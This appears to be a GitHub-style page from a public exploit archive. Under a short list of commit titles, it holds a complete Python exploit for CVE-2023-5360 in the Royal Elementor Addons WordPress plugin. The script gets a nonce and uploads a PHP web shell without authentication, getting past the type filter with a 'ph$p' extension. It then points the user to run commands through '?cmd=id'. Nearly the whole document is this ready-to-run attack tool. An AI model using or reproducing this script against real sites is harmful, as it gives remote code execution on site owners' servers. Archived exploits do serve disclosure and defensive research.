
7 changes to exploits/shellcodes/ghdb Microchip TimeProvider 4100 Grandmaster (Data plot modules) 2.4.6 - SQL Injection Exclusive Addons for Elementor 2.6.9 - Stored Cross-Site Scripting (XSS) IBM Security Verify Access 10.0.0 - Open Redirect during OAuth Flow Kubio AI Page Builder 2.5.1 - Local File Inclusion (LFI) Next.js Middleware 15.2.2 - Authorization Bypass Royal Elementor Addons and Templates 1.3.78 - Unauthenticated Arbitrary File Upload Apache mod_proxy_cluster - Stored XSS Apache mod_proxy_cluster 1.2.6 - Stored XSS
95 lines
No EOL
3.6 KiB
Python
Executable file
95 lines
No EOL
3.6 KiB
Python
Executable file
# Exploit Title: WordPress Plugin Royal Elementor Addons <= 1.3.78 - Unauthenticated Arbitrary File Upload (RCE)
|
|
# Date: 2025-04-04
|
|
# Exploit Author: Sheikh Mohammad Hasan (https://github.com/4m3rr0r)
|
|
# Vendor Homepage: https://royal-elementor-addons.com
|
|
# Software Link: https://downloads.wordpress.org/plugin/royal-elementor-addons.1.3.78.zip
|
|
# Version: <= 1.3.78
|
|
# Tested on: WordPress 6.3.1, Royal Elementor Addons 1.3.78, Ubuntu 22.04 + Apache2 + PHP 8.1
|
|
# CVE: CVE-2023-5360
|
|
|
|
# Description:
|
|
# The Royal Elementor Addons and Templates WordPress plugin before 1.3.79 does not properly validate uploaded files,
|
|
# which allows unauthenticated users to upload arbitrary files (such as .php), leading to Remote Code Execution (RCE).
|
|
|
|
import requests
|
|
import json
|
|
import re
|
|
import argparse
|
|
import tempfile
|
|
from urllib.parse import urljoin
|
|
from rich.console import Console
|
|
|
|
requests.packages.urllib3.disable_warnings()
|
|
console = Console()
|
|
|
|
def get_nonce(target):
|
|
try:
|
|
r = requests.get(target, verify=False, timeout=10)
|
|
m = re.search(r'var\s+WprConfig\s*=\s*({.*?});', r.text)
|
|
if m:
|
|
nonce = json.loads(m.group(1)).get("nonce")
|
|
return nonce
|
|
except:
|
|
pass
|
|
return None
|
|
|
|
def upload_shell(target, nonce, file_path):
|
|
ajax_url = urljoin(target, "/wp-admin/admin-ajax.php")
|
|
with open(file_path, "rb") as f:
|
|
files = {"uploaded_file": ("poc.ph$p", f.read())}
|
|
data = {
|
|
"action": "wpr_addons_upload_file",
|
|
"max_file_size": 0,
|
|
"allowed_file_types": "ph$p",
|
|
"triggering_event": "click",
|
|
"wpr_addons_nonce": nonce
|
|
}
|
|
try:
|
|
r = requests.post(ajax_url, data=data, files=files, verify=False, timeout=10)
|
|
if r.status_code == 200 and "url" in r.text:
|
|
resp = json.loads(r.text)
|
|
return resp["data"]["url"]
|
|
except:
|
|
pass
|
|
return None
|
|
|
|
def generate_default_shell():
|
|
with tempfile.NamedTemporaryFile(delete=False, suffix=".php") as tmp:
|
|
shell_code = '<?php echo "Shell by 4m3rr0r - "; system($_GET["cmd"]); ?>'
|
|
tmp.write(shell_code.encode())
|
|
return tmp.name
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(description="Royal Elementor Addons <= 1.3.78 - Unauthenticated Arbitrary File Upload (RCE)")
|
|
parser.add_argument("-u", "--url", required=True, help="Target WordPress URL (e.g., https://target.com/)")
|
|
parser.add_argument("-f", "--file", help="Custom PHP shell file to upload")
|
|
args = parser.parse_args()
|
|
|
|
console.print("[cyan][*] Getting nonce from WprConfig JS object...[/cyan]")
|
|
nonce = get_nonce(args.url)
|
|
if not nonce:
|
|
console.print("[red][-] Failed to retrieve WprConfig nonce.[/red]")
|
|
return
|
|
|
|
console.print(f"[green][+] Nonce found: {nonce}[/green]")
|
|
|
|
if args.file:
|
|
shell_file = args.file
|
|
console.print(f"[cyan][*] Using provided shell: {shell_file}[/cyan]")
|
|
else:
|
|
console.print("[cyan][*] No shell provided. Creating default RCE shell...[/cyan]")
|
|
shell_file = generate_default_shell()
|
|
console.print(f"[green][+] Default shell created at: {shell_file}[/green]")
|
|
|
|
console.print("[cyan][*] Uploading shell...[/cyan]")
|
|
uploaded_url = upload_shell(args.url, nonce, shell_file)
|
|
|
|
if uploaded_url:
|
|
console.print(f"[green][+] Shell uploaded successfully: {uploaded_url}[/green]")
|
|
if not args.file:
|
|
console.print(f"[yellow][>] Access it with: {uploaded_url}?cmd=id[/yellow]")
|
|
else:
|
|
console.print("[red][-] Upload failed. Target may be patched or not vulnerable.[/red]")
|
|
|
|
if __name__ == "__main__":
|
|
main() |